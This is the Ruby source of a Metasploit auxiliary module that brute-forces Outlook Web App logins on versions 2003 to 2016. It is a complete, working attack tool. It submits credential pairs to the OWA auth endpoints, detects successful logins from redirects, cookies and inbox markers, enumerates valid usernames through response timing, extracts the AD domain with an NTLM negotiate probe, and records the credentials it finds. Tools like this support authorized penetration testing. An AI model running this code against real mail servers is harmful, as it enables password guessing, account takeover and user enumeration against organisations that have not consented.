## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Outlook Web App (OWA) Brute Force Utility', 'Description' => %q{ This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers. }, 'Author' => [ 'Vitor Moreira', 'Spencer McIntyre', 'SecureState R&D Team', 'sinn3r', 'Brandon Knight', 'Pete (Bokojan) Arzamendi', # Outlook 2013 updates 'Nate Power', # HTTP timing option 'Chapman (R3naissance) Schleiss', # Save username in creds if response is less 'Andrew Smith' # valid creds, no mailbox ], 'License' => MSF_LICENSE, 'Actions' => [ [ 'OWA_2003', { 'Description' => 'OWA version 2003', 'AuthPath' => '/exchweb/bin/auth/owaauth.dll', 'InboxPath' => '/exchange/', 'InboxCheck' => /Inbox/ } ], [ 'OWA_2007', { 'Description' => 'OWA version 2007', 'AuthPath' => '/owa/auth/owaauth.dll', 'InboxPath' => '/owa/', 'InboxCheck' => /addrbook.gif/ } ], [ 'OWA_2010', { 'Description' => 'OWA version 2010', 'AuthPath' => '/owa/auth.owa', 'InboxPath' => '/owa/', 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\/ } ], [ 'OWA_2013', { 'Description' => 'OWA version 2013', 'AuthPath' => '/owa/auth.owa', 'InboxPath' => '/owa/', 'InboxCheck' => /Inbox|logoff\.owa/ } ], [ 'OWA_2016', { 'Description' => 'OWA version 2016', 'AuthPath' => '/owa/auth.owa', 'InboxPath' => '/owa/', 'InboxCheck' => /Inbox|logoff\.owa/ } ] ], 'DefaultAction' => 'OWA_2013', 'DefaultOptions' => { 'SSL' => true } ) register_options( [ OptInt.new('RPORT', [ true, "The target port", 443]), OptAddress.new('RHOST', [ true, "The target address" ]), OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true]) ]) register_advanced_options( [ OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), OptFloat.new('BaselineAuthTime', [ false, "Baseline HTTP authentication response time for invalid users", 1.0]) ]) deregister_options('BLANK_PASSWORDS', 'RHOSTS') end def setup # Here's a weird hack to check if each_user_pass is empty or not # apparently you cannot do each_user_pass.empty? or even inspect() it isempty = true each_user_pass do |user| isempty = false break end raise ArgumentError, "No username/password specified" if isempty end def run vhost = datastore['VHOST'] || datastore['RHOST'] print_status("#{msg} Testing version #{action.name}") auth_path = action.opts['AuthPath'] inbox_path = action.opts['InboxPath'] login_check = action.opts['InboxCheck'] domain = nil if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty? domain = datastore['AD_DOMAIN'] end if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN']) domain = get_ad_domain end begin each_user_pass do |user, pass| next if (user.blank? or pass.blank?) vprint_status("#{msg} Trying #{user} : #{pass}") try_user_pass({ user: user, domain: domain, pass: pass, auth_path: auth_path, inbox_path: inbox_path, login_check: login_check, vhost: vhost }) end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED print_error("#{msg} HTTP Connection Error, Aborting") end end def try_user_pass(opts) user = opts[:user] pass = opts[:pass] auth_path = opts[:auth_path] inbox_path = opts[:inbox_path] login_check = opts[:login_check] vhost = opts[:vhost] domain = opts[:domain] user = domain + '\\' + user if domain headers = { 'Cookie' => 'PBack=0' } if datastore['SSL'] if ["OWA_2013", "OWA_2016"].include?(action.name) data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1' else data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass end else if ["OWA_2013", "OWA_2016"].include?(action.name) data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1' else data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass end end begin if datastore['AUTH_TIME'] start_time = Time.now end baseline = datastore['BaselineAuthTime'] || 1.0 res = send_request_cgi({ 'encode' => true, 'uri' => auth_path, 'method' => 'POST', 'headers' => headers, 'data' => data }) if datastore['AUTH_TIME'] elapsed_time = Time.now - start_time end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") return :abort end if not res print_error("#{msg} HTTP Connection Error, Aborting") return end if res.peerinfo['addr'] != datastore['RHOST'] vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}") end if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty? print_error("#{msg} Received invalid response due to a missing cookie (possibly due to invalid version), aborting") return :abort end if ["OWA_2013", "OWA_2016"].include?(action.name) # Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016 # Check if the password needs to be changed. if res.headers['location'] =~ /expiredpassword/ print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required") report_cred( ip: res.peerinfo['addr'], port: datastore['RPORT'], service_name: 'owa', user: user, password: pass ) return :next_user end # No password change required moving on. # Check for valid login but no mailbox setup print_good("server type: #{res.headers["X-FEServer"]}") if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/ print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'") report_cred( ip: res.peerinfo['addr'], port: datastore['RPORT'], service_name: 'owa', user: user, password: pass ) return :next_user end unless location = res.headers['location'] print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.") return :abort end reason = location.split('reason=')[1] if reason == nil headers['Cookie'] = 'PBack=0;' << res.get_cookies else # Login didn't work. no point in going on, however, check if valid domain account by response time. if elapsed_time && elapsed_time <= baseline unless user =~ /@\w+\.\w+/ report_cred( ip: res.peerinfo['addr'], port: datastore['RPORT'], service_name: 'owa', user: user ) print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS") return :Skip_pass end else vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})") return :Skip_pass end end else # The authentication info is in the cookies on this response cookies = res.get_cookies cookie_header = 'PBack=0' %w(sessionid cadata).each do |necessary_cookie| if cookies =~ /#{necessary_cookie}=([^;]*)/ cookie_header << "; #{Regexp.last_match(1)}" else print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting") return :abort end end headers['Cookie'] = cookie_header end begin res = send_request_cgi({ 'uri' => inbox_path, 'method' => 'GET', 'headers' => headers }, 20) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("#{msg} HTTP Connection Failed, Aborting") return :abort end if not res print_error("#{msg} HTTP Connection Error, Aborting") return :abort end if res.redirect? if elapsed_time && elapsed_time <= baseline unless user =~ /@\w+\.\w+/ report_cred( ip: res.peerinfo['addr'], port: datastore['RPORT'], service_name: 'owa', user: user ) print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS") return :Skip_pass end else vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)") return :skip_pass end end if res.body =~ login_check print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'") report_cred( ip: res.peerinfo['addr'], port: datastore['RPORT'], service_name: 'owa', user: user, password: pass ) return :next_user else if elapsed_time && elapsed_time <= baseline unless user =~ /@\w+\.\w+/ report_cred( ip: res.peerinfo['addr'], port: datastore['RPORT'], service_name: 'owa', user: user ) print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS") return :Skip_pass end else vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)") return :skip_pass end end end def get_ad_domain urls = ['aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'Microsoft-Server-ActiveSync', 'OAB', 'PowerShell', 'Rpc'] domain = nil urls.each do |url| begin res = send_request_cgi({ 'encode' => true, 'uri' => "/#{url}", 'method' => 'GET', 'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='} }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT vprint_error("#{msg} HTTP Connection Failed") next end if not res vprint_error("#{msg} HTTP Connection Timeout") next end if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') print_good("Found target domain: #{domain}") return domain end end return domain end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } # Test if password was passed, if so, add private_data. If not, assuming only username was found if opts.has_key?(:password) credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) else credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user] }.merge(service_data) end login_data = { core: create_credential(credential_data), last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) end def msg "#{vhost}:#{rport} OWA -" end end